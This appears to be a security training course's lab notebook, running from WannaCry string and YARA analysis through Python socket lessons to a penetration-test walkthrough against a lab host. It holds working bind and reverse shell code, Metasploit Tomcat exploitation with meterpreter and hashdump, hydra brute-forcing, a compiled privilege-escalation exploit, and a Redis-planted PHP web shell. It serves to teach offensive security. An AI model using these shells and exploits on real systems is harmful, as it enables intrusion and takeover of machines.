strings wannacry.exe

strings --all wannacry.exe | head -n 6

strings wannacry.exe | grep -i dll

strings wannacry.exe | grep -i library

strings wannacry.exe | grep -i reg

strings wannacry.exe | grep -i key

strings wannacry.exe | grep -i rsa

strings wannacry.exe | grep -i open

strings wannacry.exe | grep -i get

strings wannacry.exe | grep -i mutex

strings wannacry.exe | grep -i irc

strings wannacry.exe | grep -i join

strings wannacry.exe | grep -i admin

strings wannacry.exe | grep -i list

```

```
3500. ------------------------------------------------------------------------
3501.
3502.
3503.
3504.
3505.
3506.
3507.
3508.
3509.
3510.
3511. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
3512.
3513. Quick Google search for "wannacry ransomeware analysis"
3514.
3515.
3516. Reference
3517. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
3518.
3519. - Yara Rule -
3520.
3521.
3522. Strings:
3523. $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
3524. $s2 = "Wanna Decryptor" wide ascii nocase
3525. $s3 = ".wcry" wide ascii nocase
3526. $s4 = "WANNACRY" wide ascii nocase
3527. $s5 = "WANACRY!" wide ascii nocase
```

```
$s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
```

Ok, let's look for the individual strings

```
----------------------------Type This-----------------------------------
```

```
strings wannacry.exe | grep -i ooops
```

```
strings wannacry.exe | grep -i wanna
```

```
strings wannacry.exe | grep -i wcry
```

```
strings wannacry.exe | grep -i wannacry
```

```
strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
```

```
------------------------------------------------------------------------
```

```
3556.
3557.
3558.
3559. ####################################
3560. # Tired of GREP - let's try Python #
3561. ####################################
3562. Decided to make my own script for this kind of stuff in the future. I
3563.
3564. Reference1:
3565. https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
3566.
3567. This is a really good script for the basics of static analysis
3568.
3569. Reference:
3570. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
3571.
3572.
3573. This is really good for showing some good signatures to add to the Python script
3574.
3575.
3576. Here is my own script using the signatures (started this yesterday, but still needs work):
3577. https://pastebin.com/guxzCBmP
3578.
3579.
3580. ----------------------------Type This-----------------------------------
3581.
3582.
3583. sudo apt install -y python-pefile
```

```
3584.      strategicsec
3585.
3586.
3587.
3588. wget https://pastebin.com/raw/guxzCBmP
3589.
3590.
3591. mv guxzCBmP am.py
3592.
3593.
3594. vi am.py
3595.
3596. python am.py wannacry.exe
3597.
3598. ------------------------------------------------------------------------
3599.
3600.
3601.
3602.
3603.
3604.
3605.
3606.
3607.
3608. ###############
3609. # Yara Ninja #
3610. ###############
3611.
```

```
3612. ---------------------------Type This-----------------------------------
3613.
3614. cd ~/Desktop
3615.
3616. sudo apt-get remove -y yara
3617.      infosecaddcits
3618.
3619. sudo apt -y install libtool
3620.      strategicsec
3621.
3622. wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
3623.
3624.
3625. unzip v3.6.0.zip
3626.
3627. cd yara-3.6.0
3628.
3629. ./bootstrap.sh
3630.
3631. ./configure
3632.
3633. make
3634.
3635. sudo make install
3636.     strategicsec
3637.
3638. yara -v
3639.
```

```
cd ~/Desktop
-------------------------------------------------------------------------



NOTE:
McAfee is giving these yara rules - so add them to the hashes.txt file

Reference:
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/

-------------------------------------------------------------------------------
rule wannacry_1 : ransom
{
    meta:
        author = "Joshua Cannell"
        description = "WannaCry Ransomware strings"
        weight = 100
        date = "2017-05-12"

    strings:
        $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
        $s2 = "Wanna Decryptor" wide ascii nocase
        $s3 = ".wcry" wide ascii nocase
        $s4 = "WANNACRY" wide ascii nocase
        $s5 = "WANACRY!" wide ascii nocase
        $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
```

```
3668.
3669.     condition:
3670.         any of them
3671. }
3672.
3673. ----------------------------------------------------------------------
3674. rule wannacry_2{
3675.     meta:
3676.         author = "Harold Ogden"
3677.         description = "WannaCry Ransomware Strings"
3678.         date = "2017-05-12"
3679.         weight = 100
3680.
3681.     strings:
3682.         $string1 = "msg/m_bulgarian.wnry"
3683.         $string2 = "msg/m_chinese (simplified).wnry"
3684.         $string3 = "msg/m_chinese (traditional).wnry"
3685.         $string4 = "msg/m_croatian.wnry"
3686.         $string5 = "msg/m_czech.wnry"
3687.         $string6 = "msg/m_danish.wnry"
3688.         $string7 = "msg/m_dutch.wnry"
3689.         $string8 = "msg/m_english.wnry"
3690.         $string9 = "msg/m_filipino.wnry"
3691.         $string10 = "msg/m_finnish.wnry"
3692.         $string11 = "msg/m_french.wnry"
3693.         $string12 = "msg/m_german.wnry"
3694.         $string13 = "msg/m_greek.wnry"
3695.         $string14 = "msg/m_indonesian.wnry"
```

```
3696.         $string15 = "msg/m_italian.wnry"
3697.         $string16 = "msg/m_japanese.wnry"
3698.         $string17 = "msg/m_korean.wnry"
3699.         $string18 = "msg/m_latvian.wnry"
3700.         $string19 = "msg/m_norwegian.wnry"
3701.         $string20 = "msg/m_polish.wnry"
3702.         $string21 = "msg/m_portuguese.wnry"
3703.         $string22 = "msg/m_romanian.wnry"
3704.         $string23 = "msg/m_russian.wnry"
3705.         $string24 = "msg/m_slovak.wnry"
3706.         $string25 = "msg/m_spanish.wnry"
3707.         $string26 = "msg/m_swedish.wnry"
3708.         $string27 = "msg/m_turkish.wnry"
3709.         $string28 = "msg/m_vietnamese.wnry"
3710.
3711.
3712.     condition:
3713.         any of ($string*)
3714. }
3715. ---------------------------------------------------------------------------
3716.
3717.
3718. ########################
3719. # External DB Lookups #
3720. ########################
3721.
3722. Creating a malware database (sqlite)
3723.
```

```
3724. ---------------------------Type This-----------------------------------
3725.
3726. sudo apt install -y python-simplejson python-simplejson-dbg
3727.     strategicsec
3728.
3729.
3730.
3731. wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
3732.
3733.
3734.
3735. python avsubmit.py -f wannacry.exe -e
3736.
3737. ------------------------------------------------------------------------
3738.
3739. Analysis of the file can be found at:
3740. http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
3741.
3742.
3743.
3744.
3745.
3746.
3747.
3748.
3749.
3750. ################################
3751. # Creating a Malware Database #
```

```
3752. ################################
3753. Creating a malware database (mysql)
3754. ----------------------------------
3755. - Step 1: Installing MySQL database
3756. - Run the following command in the terminal:
3757.
3758. ---------------------------Type This-----------------------------------
3759.
3760. sudo apt install -y mysql-server
3761.      strategicsec
3762.
3763. - Step 2: Installing Python MySQLdb module
3764. - Run the following command in the terminal:
3765.
3766. sudo apt-get build-dep python-mysqldb
3767.      strategicsec
3768.
3769. sudo apt install -y python-mysqldb
3770.      strategicsec
3771.
3772. - Step 3: Logging in
3773. - Run the following command in the terminal:
3774.
3775. mysql -u root -p                    (set a password of 'malware')
3776.
3777. - Then create one database by running following command:
3778.
3779. create database malware;
```

```
3780.
3781. exit;
3782.
3783. wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
3784.
3785. vi mal_to_db.py                    (fill in database connection information)
3786.
3787. python mal_to_db.py -i
3788.
3789. ------- check it to see if the files table was created ------
3790.
3791. mysql -u root -p
3792.     malware
3793.
3794. show databases;
3795.
3796. use malware;
3797.
3798. show tables;
3799.
3800. describe files;
3801.
3802. exit;
3803.
3804. ---------------------------------
3805.
3806.
3807. - Now add the malicious file to the DB
```

```
3808.
3809. python mal_to_db.py -f wannacry.exe -u
3810.
3811.
3812.
3813. - Now check to see if it is in the DB
3814.
3815. mysql -u root -p
3816.     malware
3817.
3818. mysql> use malware;
3819.
3820. select id,md5,sha1,sha256,time FROM files;
3821.
3822. mysql> quit;
3823.
3824.
3825. ---------------------------------------------------------------------------------
3826. $ sudo /sbin/iptables -F
3827.
3828. $ ncat -l -v -p 1234
3829.
3830.
3831.
3832.
3833. --open another terminal--
3834. python
3835.
```

```
>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(('localhost', 1234))
>>> s.send('Hello, world')
>>> data = s.recv(1024)
>>> s.close()

>>> print 'Received', data




########################################
# Lesson 18: TCP Client and TCP Server #
########################################

---------------------------Type This-----------------------------------

vi tcpclient.py


---------------------------Paste This----------------------------------

#!/usr/bin/python
# tcpclient.py

```

```
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
hostport = ("127.0.0.1", 1337)
s.connect(hostport)
s.send("Hello\n")
buf = s.recv(1024)
print "Received", buf









----------------------------Type This-----------------------------------

vi tcpserver.py



----------------------------Paste This-----------------------------------

#!/usr/bin/python
# tcpserver.py

```

```
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
hostport = ("", 1337)
s.bind(hostport)
s.listen(10)
while 1:
    cli,addr = s.accept()
    print "Connection from", addr
    buf = cli.recv(1024)
    print "Received", buf
    if buf == "Hello\n":
        cli.send("Server ID 1\n")
    cli.close()









----------------------------Type This-----------------------------------


python tcpserver.py


--open another terminal--
python tcpclient.py
```

```
3920.
3921.
3922. ########################################
3923. # Lesson 19: UDP Client and UDP Server #
3924. ########################################
3925.
3926. ----------------------------Type This-----------------------------------
3927.
3928. vi udpclient.py
3929.
3930.
3931.
3932.
3933. ----------------------------Paste This----------------------------------
3934.
3935.
3936. #!/usr/bin/python
3937. # udpclient.py
3938.
3939. import socket
3940.
3941. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
3942. hostport = ("127.0.0.1", 1337)
3943. s.sendto("Hello\n", hostport)
3944. buf = s.recv(1024)
3945. print buf
3946.
3947.
```

```
3948.
3949.
3950.
3951.
3952.
3953. ----------------------------Type This-----------------------------------
3954.
3955.
3956. vi udpserver.py
3957.
3958.
3959.
3960. ----------------------------Paste This-----------------------------------
3961.
3962.
3963.
3964. #!/usr/bin/python
3965. # udpserver.py
3966.
3967. import socket
3968.
3969. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
3970. hostport = ("127.0.0.1", 1337)
3971. s.bind(hostport)
3972. while 1:
3973.     buf, address = s.recvfrom(1024)
3974.     print buf
3975.     if buf == "Hello\n":
```

```
        s.sendto("Server ID 1\n", address)



----------------------------Type This-----------------------------------

python udpserver.py

--open another terminal--
python udpclient.py



########################################
# Lesson 20: Bind and Reverse Shells #
########################################

----------------------------Type This-----------------------------------

vi simplebindshell.py

----------------------------Paste This----------------------------------

#!/bin/python
import os,sys,socket
```

```
4004.
4005. ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
4006. print '-Creating socket..'
4007. port = 31337
4008. try:
4009.     ls.bind(('', port))
4010.     print '-Binding the port on '
4011.     ls.listen(1)
4012.     print '-Listening, '
4013.     (conn, addr) = ls.accept()
4014.     print '-Waiting for connection...'
4015.     cli= conn.fileno()
4016.     print '-Redirecting shell...'
4017.     os.dup2(cli, 0)
4018.     print 'In, '
4019.     os.dup2(cli, 1)
4020.     print 'Out, '
4021.     os.dup2(cli, 2)
4022.     print 'Err'
4023.     print 'Done!'
4024.     arg0='/bin/sh'
4025.     arg1='-a'
4026.     args=[arg0]+[arg1]
4027.     os.execv(arg0, args)
4028. except(socket.error):
4029.     print 'fail\n'
4030.     conn.close()
4031.     sys.exit(1)
```

```
4032.
4033.
4034.
4035.
4036.
4037.
4038. ----------------------------Type This-----------------------------------
4039.
4040. nc TARGETIP 31337
4041.
4042.
4043.
4044. ----------------------
4045. - Preparing the target for a reverse shell
4046. $ ncat -lvp 4444
4047.
4048.
4049.
4050. --open another terminal--
4051. wget https://www.trustedsec.com/files/simple_py_shell.py
4052.
4053. vi simple_py_shell.py
4054.
4055.
4056.
4057.
4058.
4059.
```

```
4060. ------------------------------
4061. Tricky shells
4062.
4063. Reference:
4064. http://securityweekly.com/2011/10/python-one-line-shell-code.html
4065. http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
4066.
4067.
4068.
4069. ------------------------------------------------------------------------------------------------------
4070.
4071.
4072. # Reverse Shell in Python 2.7 #
4073. ################################
4074.
4075. We'll create 2 python files. One for the server and one for the client.
4076.
4077. - Below is the python code that is running on victim/client Windows machine:
4078.
4079. ------------------------------------------------------------------
4080.
4081. # Client
4082.
4083. import socket # For Building TCP Connection
4084. import subprocess # To start the shell in the system
4085.
4086. def connect():
4087.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
    s.connect(('192.168.243.150',8080))

    while True:                         #keep receiving commands
        command = s.recv(1024)

        if 'terminate' in command:
            s.close() #close the socket
            break

        else:

            CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            s.send( CMD.stdout.read()  )  # send the result
            s.send( CMD.stderr.read()  )  # incase you mistyped a command.
            # we will send back the error

def main ():
    connect()
main()


-------------------------------------------------------------------------------------------------------------

- Below is the code that we should run on server unit, in our case strategicsec Ubuntu machine ( Ubuntu IP: 192.168.243.150 )

-----------------------------------------------------------------------

# Server
```

```
4116.
4117. import socket # For Building TCP Connection
4118.
4119.
4120. def connect ():
4121.
4122.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
4123.     s.bind(("192.168.243.150", 8080))
4124.     s.listen(1)
4125.     conn, addr = s.accept()
4126.     print '[+] We got a connection from:  ', addr
4127.
4128.
4129.     while True:
4130.          command = raw_input("Shell> ")
4131.
4132.          if 'terminate' in command:
4133.              conn.send('termminate')
4134.              conn.cloe()  # close the connection with host
4135.              break
4136.
4137.          else:
4138.              conn.send(command)   #send command
4139.              print conn.recv(1024)
4140.
4141. def main ():
4142.     connect()
4143. main()
```

```
4144.
4145. ------------------------------------------------------------------------
4146.
4147. - First run server.py code from Ubuntu machine. From command line type:
4148.
4149. ----------------------------Type This-----------------------------------
4150.
4151. python server.py
4152.
4153.
4154. - then check if 8080 port is open, and if we are listening on 8080:
4155.
4156.
4157. netstat -antp | grep "8080"
4158.
4159.
4160. --------------------------
4161.
4162. - Then on victim ( Windows ) unit run client.py code.
4163.
4164.
4165. - Connection will be established, and you will get a shell on Ubuntu:
4166.
4167. infosecaddicts@ubuntu:~$ python server.py
4168. [+] We got a connection from:   ('192.168.243.1', 56880)
4169. Shell> arp -a
4170.
4171. Shell> ipconfig
```

```
4172.
4173. Shell> dir
4174. ------------------------------------------------------------------------------------------------------------------------
4175.
4176.
4177. So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
4178. https://s3.amazonaws.com/infosecaddictsfiles/InfoSecAddicts-VPN-2018-Info.pdf
4179. user:   userX (user1, user2, user3, user4, user5, user6)
4180. pass:   --------
4181.
4182.
4183.
4184.
4185.
4186.
4187.
4188.
4189.
4190. ##########################
4191. # Building a quick list #
4192. ##########################
4193.
4194. ---------------------------Type This-----------------------------------
4195.
4196. cd ~
4197. echo bob >> list.txt
4198. echo jim >> list.txt
4199. echo joe >> list.txt
```

```
echo tim >> list.txt
echo admin >> list.txt
echo hello >> list.txt
echo rob >> list.txt
echo test >> list.txt
echo aaaaaa >> list.txt
echo larry >> list.txt
echo mario >> list.txt
echo jason >> list.txt
echo john >> list.txt

------------------------------------------------------------------------



Attack steps:
-------------

Step 1: Ping sweep the target network
-------------------------------------

----------------------------Type This-----------------------------------
nmap -sP 172.31.2.0/24
------------------------------------------------------------------------

Found 5 hosts:
```

```
172.31.2.24
172.31.2.64
172.31.2.117
172.31.2.217
172.31.2.238

Step 2: Port scan target system
-------------------------------


---------------------------Type This-----------------------------------
sudo nmap -sV 172.31.2.24
-----------------------------------------------------------------------




Step 3: Vulnerability Scan the webserver
----------------------------------------


---------------------------Type This-----------------------------------
cd ~/toolz/

rm -rf nikto*

```

```
git clone https://github.com/sullo/nikto.git Nikto2

cd Nikto2/program

perl nikto.pl -h 172.31.2.24
----------------------------------------------------------------------




Step 4: Run dirbuster or similar directory bruteforce tool against the target
--------------------------------------------------------------------------

---------------------------Type This-----------------------------------
wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl

perl Webr00t.pl -h 172.31.2.24 -v | grep -v "404 Not Found"
----------------------------------------------------------------------




Step 5: Browse the web site to look for clues
-----------------------------------------
Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself

```

```
4284.
4285.
4286. ###############
4287. # Using Nikto #
4288. ###############
4289.
4290. ---------------------------Type This-----------------------------------
4291.
4292. cd ~/toolz/
4293.
4294. rm -rf nikto*
4295.
4296. git clone https://github.com/sullo/nikto.git Nikto2
4297.
4298. cd Nikto2/program
4299.
4300. perl nikto.pl -h 172.31.2.24
4301.
4302. perl nikto.pl -h 172.31.2.24:8080
4303.
4304. perl nikto.pl -h 172.31.2.24:8081
4305.
4306. perl nikto.pl -h 172.31.2.24:9000
4307. ------------------------------------------------------------------
4308.
4309.
4310.
4311.
```

```
####################
# Using Metasploit #
####################

---------------------------Type This-----------------------------------

cd ~/toolz/metasploit

./msfconsole

use auxiliary/scanner/http/http_version

set RHOSTS 172.31.2.24

set RPORT 8080

run


-------------------------------

use auxiliary/scanner/http/tomcat_enum

set RHOSTS 172.31.2.24

set RPORT 8080

run
```

```
4340.
4341.
4342.
4343.
4344.
4345. ####################
4346. # Attacking Tomcat #
4347. ####################
4348.
4349. ---------------------------Type This-----------------------------------
4350.
4351. use auxiliary/scanner/http/http_version
4352.
4353. set RHOSTS 172.31.2.24
4354.
4355. set RPORT 8080
4356.
4357. run
4358.
4359.
4360. -------------------------------
4361.
4362.
4363. use auxiliary/scanner/http/tomcat_mgr_login
4364.
4365. set USERNAME tomcat
4366.
4367. set USERPASS_FILE /home/strategicsec/list.txt
```

```
4368.
4369. set STOP_ON_SUCCESS true
4370.
4371. set RHOSTS 172.31.2.24
4372.
4373. set RPORT 8080
4374.
4375. run
4376.
4377.
4378. ------------------------------
4379.
4380. use exploit/multi/http/tomcat_mgr_upload
4381.
4382. set HttpUsername tomcat
4383.
4384. set HttpPassword tomcat
4385.
4386. set RHOST 172.31.2.24
4387.
4388. set RPORT 8080
4389.
4390. set PATH /manager/html
4391.
4392. set PAYLOAD linux/x86/meterpreter/bind_tcp
4393.
4394. exploit
4395.
```

```
4396.
4397. run post/linux/gather/checkvm
4398.
4399. run post/linux/gather/enum_configs
4400.
4401. run post/linux/gather/enum_protections
4402.
4403. run post/linux/gather/enum_system
4404.
4405. run post/linux/gather/enum_users_history
4406.
4407. run post/linux/gather/hashdump
4408.
4409. shell
4410.
4411. /bin/bash
4412.
4413. id
4414.
4415. uname -a
4416.
4417. dpkg -l
4418.
4419. cd /tmp
4420.
4421. pwd
4422.
4423.
```

```
cat >> exploit.c << out

**************paste in the content from here *****************
https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c


------ hit enter a few times ------

------ then type 'out' ----- this closes the file handle...


gcc -o boom exploit.c

./boom

id


-------------------------------


hydra -l tomcat -P /home/strategicsec/list.txt -e ns -s 8080 -vV 172.31.2.24 http-get /manager/html


##################
# Attacking FTP #
##################

```

```
4452. ---------------------------Type This-----------------------------------
4453.
4454. sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.24
4455.
4456. cd ~/toolz/hydra
4457.
4458. hydra -l admin -P /home/strategicsec/list.txt -u -s 25 172.31.2.24 ftp
4459.
4460. ftp
4461. open 172.31.2.24
4462. admin
4463. admin
4464. pwd
4465. ls -lah
4466.
4467. ls ../../
4468.
4469.
4470. ##################
4471. # Attacking SSH #
4472. ##################
4473.
4474. ---------------------------Type This-----------------------------------
4475.
4476. cd ~/toolz/hydra
4477.
4478. hydra -L /home/strategicsec/list.txt -P /home/strategicsec/list.txt -u -s 1322 172.31.2.24 ssh
4479.
```

```
ssh -p 1322 admin@172.31.2.24
```

```
cd ~/toolz/metasploit
```

```
./msfconsole
```

```
use auxiliary/scanner/ssh/ssh_users
```

```
set USER_FILE /home/strategicsec/list.txt
```

```
set STOP_ON_SUCCESS true
```

```
set RHOSTS 172.31.2.24
```

```
set RPORT 1322
```

```
run
```

```
use auxiliary/scanner/ssh/ssh_login
```

```
set USER_FILE /home/strategicsec/list.txt
```

```
4508.
4509. set PASS_FILE /home/strategicsec/list.txt
4510.
4511. set STOP_ON_SUCCESS true
4512.
4513. set RHOSTS 172.31.2.24
4514.
4515. set RPORT 1322
4516.
4517. run
4518.
4519.
4520. sessions -l
4521.
4522. sessions -u 1
4523.
4524. sessions -i 1
4525.
4526. id
4527.
4528.
4529.
4530. ########################
4531. # Attacking phpMyAdmin #
4532. ########################
4533. ****** This section isn't finished ******
4534.
4535. ---------------------------Type This-----------------------------------
```

```
4536.
4537. hydra -l root -P /home/strategicsec/list.txt -e n http-post-form://172.31.2.24 -m
      "/phpMyAdmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:S=information_schema"
4538. ------------------------------------------------------------------------
4539.
4540. ****** This section isn't finished ******
4541.
4542. Google is your friend hahahahahahahah........
4543.
4544. ---------------------------Type This-----------------------------------
4545.
4546. cd ~
4547.
4548. wget https://repo.palkeo.com/repositories/mysterie.fr/prog/darkc0de/others/pmabf.py
4549.
4550. python pmabf.py http://172.31.2.24 root list.txt        (this gave me the WRONG password)
4551.
4552. ------------------------------------------------------------------------
4553.
4554.
4555.
4556.
4557.
4558. ####################
4559. # Attacking Joomla #
4560. ####################
4561.
4562. ---------------------------Type This-----------------------------------
```

```
4563.
4564. cd ~/toolz/metasploit
4565.
4566. ./msfconsole
4567.
4568. use use auxiliary/scanner/http/joomla_plugins
4569.
4570. set RHOSTS 172.31.2.24
4571.
4572. set RPORT 8080
4573.
4574. run
4575.
4576.
4577. ****** This section isn't finished ******
4578. Google is your friend hahahahahahahah........
4579.
4580. ######################
4581. # Attacking Jenkins #
4582. ######################
4583.
4584.
4585. ****** This section isn't finished ******
4586. Google is your friend hahahahahahahah........
4587.
4588. ##################
4589. # Attacking NFS #
4590. ##################
```

```
4591.
4592. ----------------------------Type This-----------------------------------
4593.
4594. sudo apt install -y rpcbind nfs-common
4595.      strategicsec
4596.
4597. rpcinfo -s 172.31.2.24
4598.
4599. showmount -e 172.31.2.24
4600.
4601. sudo /bin/bash
4602.
4603. mkdir /tmp/nfs
4604.
4605. mount -t nfs 172.31.2.24:/backup /tmp/nfs -o nolock
4606.
4607. ls /tmp/nfs
4608.
4609. cp /tmp/nfs/backup.tar.bz2.zip /home/strategicsec
4610.
4611. umount -l /tmp/nfs
4612.
4613. exit
4614.
4615. sudo apt-cache search fcrackzip
4616.
4617. sudo apt-get install -y fcrackzip
4618.
```

```
fcrackzip -u backup.tar.bz2.zip

unzip -P aaaaaa backup.tar.bz2.zip

tar jxf backup.tar.bz2


####################
# Attacking Redis #
####################

----------------------------Type This-----------------------------------

sudo nmap -p 6379 --script=redis-info 172.31.2.24
    strategicsec

sudo apt-get install -y redis-tools


redis-cli -h 172.31.2.24

CONFIG SET dir /var/www/html/main

CONFIG GET dir

config set dbfilename boom.php

CONFIG GET dbfilename
```

```
4647.
4648. SET cmd "<?php system($_GET['joe']); ?>"
4649.
4650. BGSAVE
4651.
4652. http://172.31.2.24/boom.php
4653.
4654. http://172.31.2.24/boom.php?joe=id
4655.
4656.
4657. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt/.ssh"
4658.
4659.
4660.
4661. ****** This section isn't finished ******
4662. Google is your friend hahahahahahahah........
4663.
4664. cd ~/toolz/metasploit
4665.
4666. ./msfconsole
4667.
4668. use auxiliary/scanner/redis/file_upload
4669.
4670. set RHOSTS 172.31.2.24
4671.
4672. set LocalFile
4673.
4674. ****** This section isn't finished ******
```

```
4675.
4676.
4677.
4678. ########################
4679. # VMs for this course #
4680. ########################
4681. https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
4682.     username: workshop
4683.     password: password
4684.
4685. https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
4686. user:      infosecaddicts
4687. pass:      infosecaddicts
4688.
4689. You don't have to, but you can do the updates in the Win7 VM (yes, it is a lot of updates).
4690.
4691. You'll need to create directory in the Win7 VM called "c:\ps"
4692.
4693. In this file you will also need to change the text '192.168.150.129' to the IP address of your Ubuntu host.
4694.
4695.
4696.
4697. ########################################
4698. # Basic Network Commands in PowerShell #
4699. ########################################
4700.
4701. Reference:
```

```
https://blogs.technet.microsoft.com/josebda/2015/04/18/windows-powershell-equivalents-for-common-networking-commands-ipconfig-ping-nslookup/



###################
# Pentester Tasks #
###################
Reference:
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx


Listing IPs
-----------
One of the typical ways for working with IP addressed in most scripts is to work with an octet and then increase the last one

------------------------Type This-----------------------------
$octect = "192.168.150."
$lastoctect = (1..255)
$lastoctect | ForEach-Object {write-host "$($octect)$($_)"}
-------------------------------------------------------------


Ping Sweep
----------------------------------------------------
PowerShell provides several methods for doing Ping
Test-Connection cmdlet
Creation of a WMI Object
.Net System.Net.NetworkInformation.Ping Object
```

```
4729. ---------------------------------------------------
4730.
4731.
4732. ------------------------Type This-----------------------------
4733. function New-IPRange ($start, $end) {
4734. $ip1 = ([System.Net.IPAddress]$start).GetAddressBytes()
4735. [Array]::Reverse($ip1)
4736. $ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
4737.
4738. $ip2 = ([System.Net.IPAddress]$end).GetAddressBytes()
4739. [Array]::Reverse($ip2)
4740. $ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
4741.
4742. for ($x=$ip1; $x -le $ip2; $x++) {
4743. $ip = ([System.Net.IPAddress]$x).GetAddressBytes()
4744. [Array]::Reverse($ip)
4745. $ip -join '.'
4746. }
4747. }
4748. $ping = New-Object System.Net.NetworkInformation.Ping
4749. New-IPRange 192.168.150.1 192.168.150.150 | ForEach-Object {$ping.Send($_, 100)} | where {$_.status -eq "Success"}
4750. ------------------------------------------------------------
4751.
4752.
4753. Reverse Lookups
4754. ---------------
4755. For reverse lookups using .Net Class we use the [System.Net.Dns]::GetHostEntry(IP) method Returns System.Net.IPHostEntry
4756.
```

```
4757.
4758.
4759. Forward Lookups
4760. ---------------
4761.
4762. ------------------------Type This-------------------------------
4763. [System.Net.Dns]::GetHostAddresses("www.google.com")
4764. ----------------------------------------------------------------
4765.
4766.
4767. Port Scans
4768. ----------
4769. To test if a port is open on a remote host in PowerShell the best method is to use the .Net abstraction that it provides to Windows
     Socket library
4770. For TCP the .Net System.Net.Sockets.TcpClient
4771. For UDP the .Net System.Net.Sockets.UdpClient
4772.
4773.
4774.
4775.
4776. TCP Scan
4777. --------
4778.
4779. ------------------------Type This-------------------------------
4780. $ports=22,80,443,3389
4781. $target = "192.168.150.129"
4782. foreach ($i in $ports) {
4783. try {
```

```
$socket = new-object System.Net.Sockets.TCPClient($target, $i);
} catch {}
if ($socket -eq $NULL) {
echo "$target:$i - Closed";
} else {
echo "$target:$i - Open";
$socket = $NULL;
}}
---------------------------------------------------------------




###########################
# Parsing Nmap XML Files #
###########################
If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
https://s3.amazonaws.com/infosecaddictsfiles/PowerShell-Files.zip




Run Powershell as administrator
------------------------Type This-------------------------------
cd C:\

Get-ExecutionPolicy
Set-ExecutionPolicy Unrestricted –Force
```

```
4812. ------------------------------------------------------------
4813.
4814.
4815. Parse nmap XML
4816. ------------------------Type This-----------------------------
4817. .\parse-nmap.ps1 samplescan.xml
4818. ------------------------------------------------------------
4819.
4820.
4821. Process all XML files
4822. ------------------------Type This-----------------------------
4823. .\parse-nmap.ps1 *.xml
4824. ------------------------------------------------------------
4825.
4826. Piping also works
4827. ------------------------Type This-----------------------------
4828. dir *.xml | .\parse-nmap.ps1
4829. ------------------------------------------------------------
4830.
4831. Advanced parsing with filtering conditions
4832. ------------------------Type This-----------------------------
4833. .\parse-nmap.ps1 samplescan.xml | where {$_.OS -like "*Windows XP*"} | format-table IPv4,HostName,OS
4834. ------------------------------------------------------------
4835.
4836.
4837. More parsing
4838. ------------------------Type This-----------------------------
4839. .\parse-nmap.ps1 samplescan.xml | where {$_.Ports -like "*open:tcp:22*"}
```

```
4840. ------------------------------------------------------------
4841.
4842. Parsing with match and multiple conditions
4843. ------------------------Type This-----------------------------
4844. .\parse-nmap.ps1 samplescan.xml |where {$_.Ports -match "open:tcp:80|open:tcp:443"}
4845. ------------------------------------------------------------
4846.
4847.
4848. CSV Export
4849. ------------------------Type This-----------------------------
4850. .\parse-nmap.ps1 samplescan.xml -outputdelimiter " " | where {$_.Ports -match "open:tcp:80"} | export-csv weblisteners.csv
4851. ------------------------------------------------------------
4852.
4853. Import Data from CSV
4854. ------------------------Type This-----------------------------
4855. $data = import-csv weblisteners.csv
4856. $data | where {($_.IPv4 -like "10.57.*") -and ($_.Ports -match "open:tcp:22")}
4857. ------------------------------------------------------------
4858.
4859.
4860. Export to HTML
4861. ------------------------Type This-----------------------------
4862. .\parse-nmap.ps1 samplescan.xml -outputdelimiter " " |select-object IPv4,HostName,OS | ConvertTo-Html | out-file report.html
4863. ------------------------------------------------------------
4864.
4865.
4866. ########################################
4867. # Parsing Nessus scans with PowerShell #
```

```
4868. ########################################
4869. If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
4870. https://s3.amazonaws.com/infosecaddictsfiles/PowerShell-Files.zip
4871.
4872.
4873.
4874. Let's take a look at the Import-Csv cmdlet and what are the members of the object it returns:
4875. ------------------------Type This-----------------------------
4876. Import-Csv C:\class_nessus.csv | Get-Member
4877. ---------------------------------------------------------------
4878.
4879. filter the objects:
4880.
4881. ------------------------Type This-----------------------------
